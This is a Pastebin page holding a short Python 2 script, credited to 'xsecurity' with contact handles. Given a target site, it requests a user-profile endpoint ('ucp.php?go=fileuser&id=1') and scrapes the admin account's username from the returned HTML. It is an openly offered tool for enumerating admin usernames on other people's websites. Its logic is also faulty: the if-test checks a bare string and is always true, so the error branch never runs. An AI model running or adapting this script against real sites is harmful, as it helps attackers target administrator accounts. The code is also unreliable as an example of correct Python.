Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!c:\python27\python.exe
- import requests as xsec, sys, re
- print 'coded by xsecurity -> @skype: xsecur1ty \npastebin :xTTG\n[c] sec4ever.com\nusage: python target.com path\n';
- target = 'http://'+sys.argv[1]+'/'
- path = sys.argv[2]
- user = '/ucp.php?go=fileuser&id=1'
- source = xsec.get(target+path+user).text
- admin = re.findall(r'<div\s+class="uname">(.*?)</div>', source)
- if '<div class="uname">':
- print target+'\n[+] username: '+admin[0]
- else:
- print '[-] cannot find username'
Advertisement
Add Comment
Please, Sign In to add comment